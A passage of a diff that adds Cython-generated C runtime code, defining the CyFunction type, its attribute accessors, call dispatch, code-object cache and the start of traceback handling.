+__Pyx_CyFunction_get_module(__pyx_CyFunctionObject *op, void *context) { + CYTHON_UNUSED_VAR(context); + return PyObject_GetAttrString(op->func, "__module__"); +} +static int +__Pyx_CyFunction_set_module(__pyx_CyFunctionObject *op, PyObject* value, void *context) { + CYTHON_UNUSED_VAR(context); + return PyObject_SetAttrString(op->func, "__module__", value); +} +#endif +static PyGetSetDef __pyx_CyFunction_getsets[] = { + {(char *) "func_doc", (getter)__Pyx_CyFunction_get_doc, (setter)__Pyx_CyFunction_set_doc, 0, 0}, + {(char *) "__doc__", (getter)__Pyx_CyFunction_get_doc, (setter)__Pyx_CyFunction_set_doc, 0, 0}, + {(char *) "func_name", (getter)__Pyx_CyFunction_get_name, (setter)__Pyx_CyFunction_set_name, 0, 0}, + {(char *) "__name__", (getter)__Pyx_CyFunction_get_name, (setter)__Pyx_CyFunction_set_name, 0, 0}, + {(char *) "__qualname__", (getter)__Pyx_CyFunction_get_qualname, (setter)__Pyx_CyFunction_set_qualname, 0, 0}, + {(char *) "func_dict", (getter)__Pyx_CyFunction_get_dict, (setter)__Pyx_CyFunction_set_dict, 0, 0}, + {(char *) "__dict__", (getter)__Pyx_CyFunction_get_dict, (setter)__Pyx_CyFunction_set_dict, 0, 0}, + {(char *) "func_globals", (getter)__Pyx_CyFunction_get_globals, 0, 0, 0}, + {(char *) "__globals__", (getter)__Pyx_CyFunction_get_globals, 0, 0, 0}, + {(char *) "func_closure", (getter)__Pyx_CyFunction_get_closure, 0, 0, 0}, + {(char *) "__closure__", (getter)__Pyx_CyFunction_get_closure, 0, 0, 0}, + {(char *) "func_code", (getter)__Pyx_CyFunction_get_code, 0, 0, 0}, + {(char *) "__code__", (getter)__Pyx_CyFunction_get_code, 0, 0, 0}, + {(char *) "func_defaults", (getter)__Pyx_CyFunction_get_defaults, (setter)__Pyx_CyFunction_set_defaults, 0, 0}, + {(char *) "__defaults__", (getter)__Pyx_CyFunction_get_defaults, (setter)__Pyx_CyFunction_set_defaults, 0, 0}, + {(char *) "__kwdefaults__", (getter)__Pyx_CyFunction_get_kwdefaults, (setter)__Pyx_CyFunction_set_kwdefaults, 0, 0}, + {(char *) "__annotations__", (getter)__Pyx_CyFunction_get_annotations, (setter)__Pyx_CyFunction_set_annotations, 0, 0}, + {(char *) "_is_coroutine", (getter)__Pyx_CyFunction_get_is_coroutine, 0, 0, 0}, +#if CYTHON_COMPILING_IN_LIMITED_API + {"__module__", (getter)__Pyx_CyFunction_get_module, (setter)__Pyx_CyFunction_set_module, 0, 0}, +#endif + {0, 0, 0, 0, 0} +}; +static PyMemberDef __pyx_CyFunction_members[] = { +#if !CYTHON_COMPILING_IN_LIMITED_API + {(char *) "__module__", T_OBJECT, offsetof(PyCFunctionObject, m_module), 0, 0}, +#endif +#if CYTHON_USE_TYPE_SPECS + {(char *) "__dictoffset__", T_PYSSIZET, offsetof(__pyx_CyFunctionObject, func_dict), READONLY, 0}, +#if CYTHON_METH_FASTCALL +#if CYTHON_BACKPORT_VECTORCALL + {(char *) "__vectorcalloffset__", T_PYSSIZET, offsetof(__pyx_CyFunctionObject, func_vectorcall), READONLY, 0}, +#else +#if !CYTHON_COMPILING_IN_LIMITED_API + {(char *) "__vectorcalloffset__", T_PYSSIZET, offsetof(PyCFunctionObject, vectorcall), READONLY, 0}, +#endif +#endif +#endif +#if PY_VERSION_HEX < 0x030500A0 || CYTHON_COMPILING_IN_LIMITED_API + {(char *) "__weaklistoffset__", T_PYSSIZET, offsetof(__pyx_CyFunctionObject, func_weakreflist), READONLY, 0}, +#else + {(char *) "__weaklistoffset__", T_PYSSIZET, offsetof(PyCFunctionObject, m_weakreflist), READONLY, 0}, +#endif +#endif + {0, 0, 0, 0, 0} +}; +static PyObject * +__Pyx_CyFunction_reduce(__pyx_CyFunctionObject *m, PyObject *args) +{ + CYTHON_UNUSED_VAR(args); +#if PY_MAJOR_VERSION >= 3 + Py_INCREF(m->func_qualname); + return m->func_qualname; +#else + return PyString_FromString(((PyCFunctionObject*)m)->m_ml->ml_name); +#endif +} +static PyMethodDef __pyx_CyFunction_methods[] = { + {"__reduce__", (PyCFunction)__Pyx_CyFunction_reduce, METH_VARARGS, 0}, + {0, 0, 0, 0} +}; +#if PY_VERSION_HEX < 0x030500A0 || CYTHON_COMPILING_IN_LIMITED_API +#define __Pyx_CyFunction_weakreflist(cyfunc) ((cyfunc)->func_weakreflist) +#else +#define __Pyx_CyFunction_weakreflist(cyfunc) (((PyCFunctionObject*)cyfunc)->m_weakreflist) +#endif +static PyObject *__Pyx_CyFunction_Init(__pyx_CyFunctionObject *op, PyMethodDef *ml, int flags, PyObject* qualname, + PyObject *closure, PyObject *module, PyObject* globals, PyObject* code) { +#if !CYTHON_COMPILING_IN_LIMITED_API + PyCFunctionObject *cf = (PyCFunctionObject*) op; +#endif + if (unlikely(op == NULL)) + return NULL; +#if CYTHON_COMPILING_IN_LIMITED_API + op->func = PyCFunction_NewEx(ml, (PyObject*)op, module); + if (unlikely(!op->func)) return NULL; +#endif + op->flags = flags; + __Pyx_CyFunction_weakreflist(op) = NULL; +#if !CYTHON_COMPILING_IN_LIMITED_API + cf->m_ml = ml; + cf->m_self = (PyObject *) op; +#endif + Py_XINCREF(closure); + op->func_closure = closure; +#if !CYTHON_COMPILING_IN_LIMITED_API + Py_XINCREF(module); + cf->m_module = module; +#endif + op->func_dict = NULL; + op->func_name = NULL; + Py_INCREF(qualname); + op->func_qualname = qualname; + op->func_doc = NULL; +#if PY_VERSION_HEX < 0x030900B1 || CYTHON_COMPILING_IN_LIMITED_API + op->func_classobj = NULL; +#else + ((PyCMethodObject*)op)->mm_class = NULL; +#endif + op->func_globals = globals; + Py_INCREF(op->func_globals); + Py_XINCREF(code); + op->func_code = code; + op->defaults_pyobjects = 0; + op->defaults_size = 0; + op->defaults = NULL; + op->defaults_tuple = NULL; + op->defaults_kwdict = NULL; + op->defaults_getter = NULL; + op->func_annotations = NULL; + op->func_is_coroutine = NULL; +#if CYTHON_METH_FASTCALL + switch (ml->ml_flags & (METH_VARARGS | METH_FASTCALL | METH_NOARGS | METH_O | METH_KEYWORDS | METH_METHOD)) { + case METH_NOARGS: + __Pyx_CyFunction_func_vectorcall(op) = __Pyx_CyFunction_Vectorcall_NOARGS; + break; + case METH_O: + __Pyx_CyFunction_func_vectorcall(op) = __Pyx_CyFunction_Vectorcall_O; + break; + case METH_METHOD | METH_FASTCALL | METH_KEYWORDS: + __Pyx_CyFunction_func_vectorcall(op) = __Pyx_CyFunction_Vectorcall_FASTCALL_KEYWORDS_METHOD; + break; + case METH_FASTCALL | METH_KEYWORDS: + __Pyx_CyFunction_func_vectorcall(op) = __Pyx_CyFunction_Vectorcall_FASTCALL_KEYWORDS; + break; + case METH_VARARGS | METH_KEYWORDS: + __Pyx_CyFunction_func_vectorcall(op) = NULL; + break; + default: + PyErr_SetString(PyExc_SystemError, "Bad call flags for CyFunction"); + Py_DECREF(op); + return NULL; + } +#endif + return (PyObject *) op; +} +static int +__Pyx_CyFunction_clear(__pyx_CyFunctionObject *m) +{ + Py_CLEAR(m->func_closure); +#if CYTHON_COMPILING_IN_LIMITED_API + Py_CLEAR(m->func); +#else + Py_CLEAR(((PyCFunctionObject*)m)->m_module); +#endif + Py_CLEAR(m->func_dict); + Py_CLEAR(m->func_name); + Py_CLEAR(m->func_qualname); + Py_CLEAR(m->func_doc); + Py_CLEAR(m->func_globals); + Py_CLEAR(m->func_code); +#if !CYTHON_COMPILING_IN_LIMITED_API +#if PY_VERSION_HEX < 0x030900B1 + Py_CLEAR(__Pyx_CyFunction_GetClassObj(m)); +#else + { + PyObject *cls = (PyObject*) ((PyCMethodObject *) (m))->mm_class; + ((PyCMethodObject *) (m))->mm_class = NULL; + Py_XDECREF(cls); + } +#endif +#endif + Py_CLEAR(m->defaults_tuple); + Py_CLEAR(m->defaults_kwdict); + Py_CLEAR(m->func_annotations); + Py_CLEAR(m->func_is_coroutine); + if (m->defaults) { + PyObject **pydefaults = __Pyx_CyFunction_Defaults(PyObject *, m); + int i; + for (i = 0; i < m->defaults_pyobjects; i++) + Py_XDECREF(pydefaults[i]); + PyObject_Free(m->defaults); + m->defaults = NULL; + } + return 0; +} +static void __Pyx__CyFunction_dealloc(__pyx_CyFunctionObject *m) +{ + if (__Pyx_CyFunction_weakreflist(m) != NULL) + PyObject_ClearWeakRefs((PyObject *) m); + __Pyx_CyFunction_clear(m); + __Pyx_PyHeapTypeObject_GC_Del(m); +} +static void __Pyx_CyFunction_dealloc(__pyx_CyFunctionObject *m) +{ + PyObject_GC_UnTrack(m); + __Pyx__CyFunction_dealloc(m); +} +static int __Pyx_CyFunction_traverse(__pyx_CyFunctionObject *m, visitproc visit, void *arg) +{ + Py_VISIT(m->func_closure); +#if CYTHON_COMPILING_IN_LIMITED_API + Py_VISIT(m->func); +#else + Py_VISIT(((PyCFunctionObject*)m)->m_module); +#endif + Py_VISIT(m->func_dict); + Py_VISIT(m->func_name); + Py_VISIT(m->func_qualname); + Py_VISIT(m->func_doc); + Py_VISIT(m->func_globals); + Py_VISIT(m->func_code); +#if !CYTHON_COMPILING_IN_LIMITED_API + Py_VISIT(__Pyx_CyFunction_GetClassObj(m)); +#endif + Py_VISIT(m->defaults_tuple); + Py_VISIT(m->defaults_kwdict); + Py_VISIT(m->func_is_coroutine); + if (m->defaults) { + PyObject **pydefaults = __Pyx_CyFunction_Defaults(PyObject *, m); + int i; + for (i = 0; i < m->defaults_pyobjects; i++) + Py_VISIT(pydefaults[i]); + } + return 0; +} +static PyObject* +__Pyx_CyFunction_repr(__pyx_CyFunctionObject *op) +{ +#if PY_MAJOR_VERSION >= 3 + return PyUnicode_FromFormat("", + op->func_qualname, (void *)op); +#else + return PyString_FromFormat("", + PyString_AsString(op->func_qualname), (void *)op); +#endif +} +static PyObject * __Pyx_CyFunction_CallMethod(PyObject *func, PyObject *self, PyObject *arg, PyObject *kw) { +#if CYTHON_COMPILING_IN_LIMITED_API + PyObject *f = ((__pyx_CyFunctionObject*)func)->func; + PyObject *py_name = NULL; + PyCFunction meth; + int flags; + meth = PyCFunction_GetFunction(f); + if (unlikely(!meth)) return NULL; + flags = PyCFunction_GetFlags(f); + if (unlikely(flags < 0)) return NULL; +#else + PyCFunctionObject* f = (PyCFunctionObject*)func; + PyCFunction meth = f->m_ml->ml_meth; + int flags = f->m_ml->ml_flags; +#endif + Py_ssize_t size; + switch (flags & (METH_VARARGS | METH_KEYWORDS | METH_NOARGS | METH_O)) { + case METH_VARARGS: + if (likely(kw == NULL || PyDict_Size(kw) == 0)) + return (*meth)(self, arg); + break; + case METH_VARARGS | METH_KEYWORDS: + return (*(PyCFunctionWithKeywords)(void*)meth)(self, arg, kw); + case METH_NOARGS: + if (likely(kw == NULL || PyDict_Size(kw) == 0)) { +#if CYTHON_ASSUME_SAFE_MACROS + size = PyTuple_GET_SIZE(arg); +#else + size = PyTuple_Size(arg); + if (unlikely(size < 0)) return NULL; +#endif + if (likely(size == 0)) + return (*meth)(self, NULL); +#if CYTHON_COMPILING_IN_LIMITED_API + py_name = __Pyx_CyFunction_get_name((__pyx_CyFunctionObject*)func, NULL); + if (!py_name) return NULL; + PyErr_Format(PyExc_TypeError, + "%.200S() takes no arguments (%" CYTHON_FORMAT_SSIZE_T "d given)", + py_name, size); + Py_DECREF(py_name); +#else + PyErr_Format(PyExc_TypeError, + "%.200s() takes no arguments (%" CYTHON_FORMAT_SSIZE_T "d given)", + f->m_ml->ml_name, size); +#endif + return NULL; + } + break; + case METH_O: + if (likely(kw == NULL || PyDict_Size(kw) == 0)) { +#if CYTHON_ASSUME_SAFE_MACROS + size = PyTuple_GET_SIZE(arg); +#else + size = PyTuple_Size(arg); + if (unlikely(size < 0)) return NULL; +#endif + if (likely(size == 1)) { + PyObject *result, *arg0; + #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS + arg0 = PyTuple_GET_ITEM(arg, 0); + #else + arg0 = __Pyx_PySequence_ITEM(arg, 0); if (unlikely(!arg0)) return NULL; + #endif + result = (*meth)(self, arg0); + #if !(CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS) + Py_DECREF(arg0); + #endif + return result; + } +#if CYTHON_COMPILING_IN_LIMITED_API + py_name = __Pyx_CyFunction_get_name((__pyx_CyFunctionObject*)func, NULL); + if (!py_name) return NULL; + PyErr_Format(PyExc_TypeError, + "%.200S() takes exactly one argument (%" CYTHON_FORMAT_SSIZE_T "d given)", + py_name, size); + Py_DECREF(py_name); +#else + PyErr_Format(PyExc_TypeError, + "%.200s() takes exactly one argument (%" CYTHON_FORMAT_SSIZE_T "d given)", + f->m_ml->ml_name, size); +#endif + return NULL; + } + break; + default: + PyErr_SetString(PyExc_SystemError, "Bad call flags for CyFunction"); + return NULL; + } +#if CYTHON_COMPILING_IN_LIMITED_API + py_name = __Pyx_CyFunction_get_name((__pyx_CyFunctionObject*)func, NULL); + if (!py_name) return NULL; + PyErr_Format(PyExc_TypeError, "%.200S() takes no keyword arguments", + py_name); + Py_DECREF(py_name); +#else + PyErr_Format(PyExc_TypeError, "%.200s() takes no keyword arguments", + f->m_ml->ml_name); +#endif + return NULL; +} +static CYTHON_INLINE PyObject *__Pyx_CyFunction_Call(PyObject *func, PyObject *arg, PyObject *kw) { + PyObject *self, *result; +#if CYTHON_COMPILING_IN_LIMITED_API + self = PyCFunction_GetSelf(((__pyx_CyFunctionObject*)func)->func); + if (unlikely(!self) && PyErr_Occurred()) return NULL; +#else + self = ((PyCFunctionObject*)func)->m_self; +#endif + result = __Pyx_CyFunction_CallMethod(func, self, arg, kw); + return result; +} +static PyObject *__Pyx_CyFunction_CallAsMethod(PyObject *func, PyObject *args, PyObject *kw) { + PyObject *result; + __pyx_CyFunctionObject *cyfunc = (__pyx_CyFunctionObject *) func; +#if CYTHON_METH_FASTCALL + __pyx_vectorcallfunc vc = __Pyx_CyFunction_func_vectorcall(cyfunc); + if (vc) { +#if CYTHON_ASSUME_SAFE_MACROS + return __Pyx_PyVectorcall_FastCallDict(func, vc, &PyTuple_GET_ITEM(args, 0), (size_t)PyTuple_GET_SIZE(args), kw); +#else + (void) &__Pyx_PyVectorcall_FastCallDict; + return PyVectorcall_Call(func, args, kw); +#endif + } +#endif + if ((cyfunc->flags & __Pyx_CYFUNCTION_CCLASS) && !(cyfunc->flags & __Pyx_CYFUNCTION_STATICMETHOD)) { + Py_ssize_t argc; + PyObject *new_args; + PyObject *self; +#if CYTHON_ASSUME_SAFE_MACROS + argc = PyTuple_GET_SIZE(args); +#else + argc = PyTuple_Size(args); + if (unlikely(!argc) < 0) return NULL; +#endif + new_args = PyTuple_GetSlice(args, 1, argc); + if (unlikely(!new_args)) + return NULL; + self = PyTuple_GetItem(args, 0); + if (unlikely(!self)) { + Py_DECREF(new_args); +#if PY_MAJOR_VERSION > 2 + PyErr_Format(PyExc_TypeError, + "unbound method %.200S() needs an argument", + cyfunc->func_qualname); +#else + PyErr_SetString(PyExc_TypeError, + "unbound method needs an argument"); +#endif + return NULL; + } + result = __Pyx_CyFunction_CallMethod(func, self, new_args, kw); + Py_DECREF(new_args); + } else { + result = __Pyx_CyFunction_Call(func, args, kw); + } + return result; +} +#if CYTHON_METH_FASTCALL +static CYTHON_INLINE int __Pyx_CyFunction_Vectorcall_CheckArgs(__pyx_CyFunctionObject *cyfunc, Py_ssize_t nargs, PyObject *kwnames) +{ + int ret = 0; + if ((cyfunc->flags & __Pyx_CYFUNCTION_CCLASS) && !(cyfunc->flags & __Pyx_CYFUNCTION_STATICMETHOD)) { + if (unlikely(nargs < 1)) { + PyErr_Format(PyExc_TypeError, "%.200s() needs an argument", + ((PyCFunctionObject*)cyfunc)->m_ml->ml_name); + return -1; + } + ret = 1; + } + if (unlikely(kwnames) && unlikely(PyTuple_GET_SIZE(kwnames))) { + PyErr_Format(PyExc_TypeError, + "%.200s() takes no keyword arguments", ((PyCFunctionObject*)cyfunc)->m_ml->ml_name); + return -1; + } + return ret; +} +static PyObject * __Pyx_CyFunction_Vectorcall_NOARGS(PyObject *func, PyObject *const *args, size_t nargsf, PyObject *kwnames) +{ + __pyx_CyFunctionObject *cyfunc = (__pyx_CyFunctionObject *)func; + PyMethodDef* def = ((PyCFunctionObject*)cyfunc)->m_ml; +#if CYTHON_BACKPORT_VECTORCALL + Py_ssize_t nargs = (Py_ssize_t)nargsf; +#else + Py_ssize_t nargs = PyVectorcall_NARGS(nargsf); +#endif + PyObject *self; + switch (__Pyx_CyFunction_Vectorcall_CheckArgs(cyfunc, nargs, kwnames)) { + case 1: + self = args[0]; + args += 1; + nargs -= 1; + break; + case 0: + self = ((PyCFunctionObject*)cyfunc)->m_self; + break; + default: + return NULL; + } + if (unlikely(nargs != 0)) { + PyErr_Format(PyExc_TypeError, + "%.200s() takes no arguments (%" CYTHON_FORMAT_SSIZE_T "d given)", + def->ml_name, nargs); + return NULL; + } + return def->ml_meth(self, NULL); +} +static PyObject * __Pyx_CyFunction_Vectorcall_O(PyObject *func, PyObject *const *args, size_t nargsf, PyObject *kwnames) +{ + __pyx_CyFunctionObject *cyfunc = (__pyx_CyFunctionObject *)func; + PyMethodDef* def = ((PyCFunctionObject*)cyfunc)->m_ml; +#if CYTHON_BACKPORT_VECTORCALL + Py_ssize_t nargs = (Py_ssize_t)nargsf; +#else + Py_ssize_t nargs = PyVectorcall_NARGS(nargsf); +#endif + PyObject *self; + switch (__Pyx_CyFunction_Vectorcall_CheckArgs(cyfunc, nargs, kwnames)) { + case 1: + self = args[0]; + args += 1; + nargs -= 1; + break; + case 0: + self = ((PyCFunctionObject*)cyfunc)->m_self; + break; + default: + return NULL; + } + if (unlikely(nargs != 1)) { + PyErr_Format(PyExc_TypeError, + "%.200s() takes exactly one argument (%" CYTHON_FORMAT_SSIZE_T "d given)", + def->ml_name, nargs); + return NULL; + } + return def->ml_meth(self, args[0]); +} +static PyObject * __Pyx_CyFunction_Vectorcall_FASTCALL_KEYWORDS(PyObject *func, PyObject *const *args, size_t nargsf, PyObject *kwnames) +{ + __pyx_CyFunctionObject *cyfunc = (__pyx_CyFunctionObject *)func; + PyMethodDef* def = ((PyCFunctionObject*)cyfunc)->m_ml; +#if CYTHON_BACKPORT_VECTORCALL + Py_ssize_t nargs = (Py_ssize_t)nargsf; +#else + Py_ssize_t nargs = PyVectorcall_NARGS(nargsf); +#endif + PyObject *self; + switch (__Pyx_CyFunction_Vectorcall_CheckArgs(cyfunc, nargs, NULL)) { + case 1: + self = args[0]; + args += 1; + nargs -= 1; + break; + case 0: + self = ((PyCFunctionObject*)cyfunc)->m_self; + break; + default: + return NULL; + } + return ((__Pyx_PyCFunctionFastWithKeywords)(void(*)(void))def->ml_meth)(self, args, nargs, kwnames); +} +static PyObject * __Pyx_CyFunction_Vectorcall_FASTCALL_KEYWORDS_METHOD(PyObject *func, PyObject *const *args, size_t nargsf, PyObject *kwnames) +{ + __pyx_CyFunctionObject *cyfunc = (__pyx_CyFunctionObject *)func; + PyMethodDef* def = ((PyCFunctionObject*)cyfunc)->m_ml; + PyTypeObject *cls = (PyTypeObject *) __Pyx_CyFunction_GetClassObj(cyfunc); +#if CYTHON_BACKPORT_VECTORCALL + Py_ssize_t nargs = (Py_ssize_t)nargsf; +#else + Py_ssize_t nargs = PyVectorcall_NARGS(nargsf); +#endif + PyObject *self; + switch (__Pyx_CyFunction_Vectorcall_CheckArgs(cyfunc, nargs, NULL)) { + case 1: + self = args[0]; + args += 1; + nargs -= 1; + break; + case 0: + self = ((PyCFunctionObject*)cyfunc)->m_self; + break; + default: + return NULL; + } + return ((__Pyx_PyCMethod)(void(*)(void))def->ml_meth)(self, cls, args, (size_t)nargs, kwnames); +} +#endif +#if CYTHON_USE_TYPE_SPECS +static PyType_Slot __pyx_CyFunctionType_slots[] = { + {Py_tp_dealloc, (void *)__Pyx_CyFunction_dealloc}, + {Py_tp_repr, (void *)__Pyx_CyFunction_repr}, + {Py_tp_call, (void *)__Pyx_CyFunction_CallAsMethod}, + {Py_tp_traverse, (void *)__Pyx_CyFunction_traverse}, + {Py_tp_clear, (void *)__Pyx_CyFunction_clear}, + {Py_tp_methods, (void *)__pyx_CyFunction_methods}, + {Py_tp_members, (void *)__pyx_CyFunction_members}, + {Py_tp_getset, (void *)__pyx_CyFunction_getsets}, + {Py_tp_descr_get, (void *)__Pyx_PyMethod_New}, + {0, 0}, +}; +static PyType_Spec __pyx_CyFunctionType_spec = { + __PYX_TYPE_MODULE_PREFIX "cython_function_or_method", + sizeof(__pyx_CyFunctionObject), + 0, +#ifdef Py_TPFLAGS_METHOD_DESCRIPTOR + Py_TPFLAGS_METHOD_DESCRIPTOR | +#endif +#if (defined(_Py_TPFLAGS_HAVE_VECTORCALL) && CYTHON_METH_FASTCALL) + _Py_TPFLAGS_HAVE_VECTORCALL | +#endif + Py_TPFLAGS_DEFAULT | Py_TPFLAGS_HAVE_GC | Py_TPFLAGS_BASETYPE, + __pyx_CyFunctionType_slots +}; +#else +static PyTypeObject __pyx_CyFunctionType_type = { + PyVarObject_HEAD_INIT(0, 0) + __PYX_TYPE_MODULE_PREFIX "cython_function_or_method", + sizeof(__pyx_CyFunctionObject), + 0, + (destructor) __Pyx_CyFunction_dealloc, +#if !CYTHON_METH_FASTCALL + 0, +#elif CYTHON_BACKPORT_VECTORCALL + (printfunc)offsetof(__pyx_CyFunctionObject, func_vectorcall), +#else + offsetof(PyCFunctionObject, vectorcall), +#endif + 0, + 0, +#if PY_MAJOR_VERSION < 3 + 0, +#else + 0, +#endif + (reprfunc) __Pyx_CyFunction_repr, + 0, + 0, + 0, + 0, + __Pyx_CyFunction_CallAsMethod, + 0, + 0, + 0, + 0, +#ifdef Py_TPFLAGS_METHOD_DESCRIPTOR + Py_TPFLAGS_METHOD_DESCRIPTOR | +#endif +#if defined(_Py_TPFLAGS_HAVE_VECTORCALL) && CYTHON_METH_FASTCALL + _Py_TPFLAGS_HAVE_VECTORCALL | +#endif + Py_TPFLAGS_DEFAULT | Py_TPFLAGS_HAVE_GC | Py_TPFLAGS_BASETYPE, + 0, + (traverseproc) __Pyx_CyFunction_traverse, + (inquiry) __Pyx_CyFunction_clear, + 0, +#if PY_VERSION_HEX < 0x030500A0 + offsetof(__pyx_CyFunctionObject, func_weakreflist), +#else + offsetof(PyCFunctionObject, m_weakreflist), +#endif + 0, + 0, + __pyx_CyFunction_methods, + __pyx_CyFunction_members, + __pyx_CyFunction_getsets, + 0, + 0, + __Pyx_PyMethod_New, + 0, + offsetof(__pyx_CyFunctionObject, func_dict), + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, +#if PY_VERSION_HEX >= 0x030400a1 + 0, +#endif +#if PY_VERSION_HEX >= 0x030800b1 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM >= 0x07030800) + 0, +#endif +#if __PYX_NEED_TP_PRINT_SLOT + 0, +#endif +#if PY_VERSION_HEX >= 0x030C0000 + 0, +#endif +#if PY_VERSION_HEX >= 0x030d00A4 + 0, +#endif +#if CYTHON_COMPILING_IN_PYPY && PY_VERSION_HEX >= 0x03090000 && PY_VERSION_HEX < 0x030a0000 + 0, +#endif +}; +#endif +static int __pyx_CyFunction_init(PyObject *module) { +#if CYTHON_USE_TYPE_SPECS + __pyx_CyFunctionType = __Pyx_FetchCommonTypeFromSpec(module, &__pyx_CyFunctionType_spec, NULL); +#else + CYTHON_UNUSED_VAR(module); + __pyx_CyFunctionType = __Pyx_FetchCommonType(&__pyx_CyFunctionType_type); +#endif + if (unlikely(__pyx_CyFunctionType == NULL)) { + return -1; + } + return 0; +} +static CYTHON_INLINE void *__Pyx_CyFunction_InitDefaults(PyObject *func, size_t size, int pyobjects) { + __pyx_CyFunctionObject *m = (__pyx_CyFunctionObject *) func; + m->defaults = PyObject_Malloc(size); + if (unlikely(!m->defaults)) + return PyErr_NoMemory(); + memset(m->defaults, 0, size); + m->defaults_pyobjects = pyobjects; + m->defaults_size = size; + return m->defaults; +} +static CYTHON_INLINE void __Pyx_CyFunction_SetDefaultsTuple(PyObject *func, PyObject *tuple) { + __pyx_CyFunctionObject *m = (__pyx_CyFunctionObject *) func; + m->defaults_tuple = tuple; + Py_INCREF(tuple); +} +static CYTHON_INLINE void __Pyx_CyFunction_SetDefaultsKwDict(PyObject *func, PyObject *dict) { + __pyx_CyFunctionObject *m = (__pyx_CyFunctionObject *) func; + m->defaults_kwdict = dict; + Py_INCREF(dict); +} +static CYTHON_INLINE void __Pyx_CyFunction_SetAnnotationsDict(PyObject *func, PyObject *dict) { + __pyx_CyFunctionObject *m = (__pyx_CyFunctionObject *) func; + m->func_annotations = dict; + Py_INCREF(dict); +} + +/* CythonFunction */ + static PyObject *__Pyx_CyFunction_New(PyMethodDef *ml, int flags, PyObject* qualname, + PyObject *closure, PyObject *module, PyObject* globals, PyObject* code) { + PyObject *op = __Pyx_CyFunction_Init( + PyObject_GC_New(__pyx_CyFunctionObject, __pyx_CyFunctionType), + ml, flags, qualname, closure, module, globals, code + ); + if (likely(op)) { + PyObject_GC_Track(op); + } + return op; +} + +/* CLineInTraceback */ + #ifndef CYTHON_CLINE_IN_TRACEBACK +static int __Pyx_CLineForTraceback(PyThreadState *tstate, int c_line) { + PyObject *use_cline; + PyObject *ptype, *pvalue, *ptraceback; +#if CYTHON_COMPILING_IN_CPYTHON + PyObject **cython_runtime_dict; +#endif + CYTHON_MAYBE_UNUSED_VAR(tstate); + if (unlikely(!__pyx_cython_runtime)) { + return c_line; + } + __Pyx_ErrFetchInState(tstate, &ptype, &pvalue, &ptraceback); +#if CYTHON_COMPILING_IN_CPYTHON + cython_runtime_dict = _PyObject_GetDictPtr(__pyx_cython_runtime); + if (likely(cython_runtime_dict)) { + __PYX_PY_DICT_LOOKUP_IF_MODIFIED( + use_cline, *cython_runtime_dict, + __Pyx_PyDict_GetItemStr(*cython_runtime_dict, __pyx_n_s_cline_in_traceback)) + } else +#endif + { + PyObject *use_cline_obj = __Pyx_PyObject_GetAttrStrNoError(__pyx_cython_runtime, __pyx_n_s_cline_in_traceback); + if (use_cline_obj) { + use_cline = PyObject_Not(use_cline_obj) ? Py_False : Py_True; + Py_DECREF(use_cline_obj); + } else { + PyErr_Clear(); + use_cline = NULL; + } + } + if (!use_cline) { + c_line = 0; + (void) PyObject_SetAttr(__pyx_cython_runtime, __pyx_n_s_cline_in_traceback, Py_False); + } + else if (use_cline == Py_False || (use_cline != Py_True && PyObject_Not(use_cline) != 0)) { + c_line = 0; + } + __Pyx_ErrRestoreInState(tstate, ptype, pvalue, ptraceback); + return c_line; +} +#endif + +/* CodeObjectCache */ + #if !CYTHON_COMPILING_IN_LIMITED_API +static int __pyx_bisect_code_objects(__Pyx_CodeObjectCacheEntry* entries, int count, int code_line) { + int start = 0, mid = 0, end = count - 1; + if (end >= 0 && code_line > entries[end].code_line) { + return count; + } + while (start < end) { + mid = start + (end - start) / 2; + if (code_line < entries[mid].code_line) { + end = mid; + } else if (code_line > entries[mid].code_line) { + start = mid + 1; + } else { + return mid; + } + } + if (code_line <= entries[mid].code_line) { + return mid; + } else { + return mid + 1; + } +} +static PyCodeObject *__pyx_find_code_object(int code_line) { + PyCodeObject* code_object; + int pos; + if (unlikely(!code_line) || unlikely(!__pyx_code_cache.entries)) { + return NULL; + } + pos = __pyx_bisect_code_objects(__pyx_code_cache.entries, __pyx_code_cache.count, code_line); + if (unlikely(pos >= __pyx_code_cache.count) || unlikely(__pyx_code_cache.entries[pos].code_line != code_line)) { + return NULL; + } + code_object = __pyx_code_cache.entries[pos].code_object; + Py_INCREF(code_object); + return code_object; +} +static void __pyx_insert_code_object(int code_line, PyCodeObject* code_object) { + int pos, i; + __Pyx_CodeObjectCacheEntry* entries = __pyx_code_cache.entries; + if (unlikely(!code_line)) { + return; + } + if (unlikely(!entries)) { + entries = (__Pyx_CodeObjectCacheEntry*)PyMem_Malloc(64*sizeof(__Pyx_CodeObjectCacheEntry)); + if (likely(entries)) { + __pyx_code_cache.entries = entries; + __pyx_code_cache.max_count = 64; + __pyx_code_cache.count = 1; + entries[0].code_line = code_line; + entries[0].code_object = code_object; + Py_INCREF(code_object); + } + return; + } + pos = __pyx_bisect_code_objects(__pyx_code_cache.entries, __pyx_code_cache.count, code_line); + if ((pos < __pyx_code_cache.count) && unlikely(__pyx_code_cache.entries[pos].code_line == code_line)) { + PyCodeObject* tmp = entries[pos].code_object; + entries[pos].code_object = code_object; + Py_DECREF(tmp); + return; + } + if (__pyx_code_cache.count == __pyx_code_cache.max_count) { + int new_max = __pyx_code_cache.max_count + 64; + entries = (__Pyx_CodeObjectCacheEntry*)PyMem_Realloc( + __pyx_code_cache.entries, ((size_t)new_max) * sizeof(__Pyx_CodeObjectCacheEntry)); + if (unlikely(!entries)) { + return; + } + __pyx_code_cache.entries = entries; + __pyx_code_cache.max_count = new_max; + } + for (i=__pyx_code_cache.count; i>pos; i--) { + entries[i] = entries[i-1]; + } + entries[pos].code_line = code_line; + entries[pos].code_object = code_object; + __pyx_code_cache.count++; + Py_INCREF(code_object); +} +#endif + +/* AddTraceback */ + #include "compile.h" +#include "frameobject.h" +#include "traceback.h" +#if PY_VERSION_HEX >= 0x030b00a6 && !CYTHON_COMPILING_IN_LIMITED_API + #ifndef Py_BUILD_CORE + #define Py_BUILD_CORE 1 + #endif + #include "internal/pycore_frame.h" +#endif +#if CYTHON_COMPILING_IN_LIMITED_API +static PyObject *__Pyx_PyCode_Replace_For_AddTraceback(PyObject *code, PyObject *scratch_dict, + PyObject *firstlineno, PyObject *name) { + PyObject *replace = NULL; + if (unlikely(PyDict_SetItemString(scratch_dict, 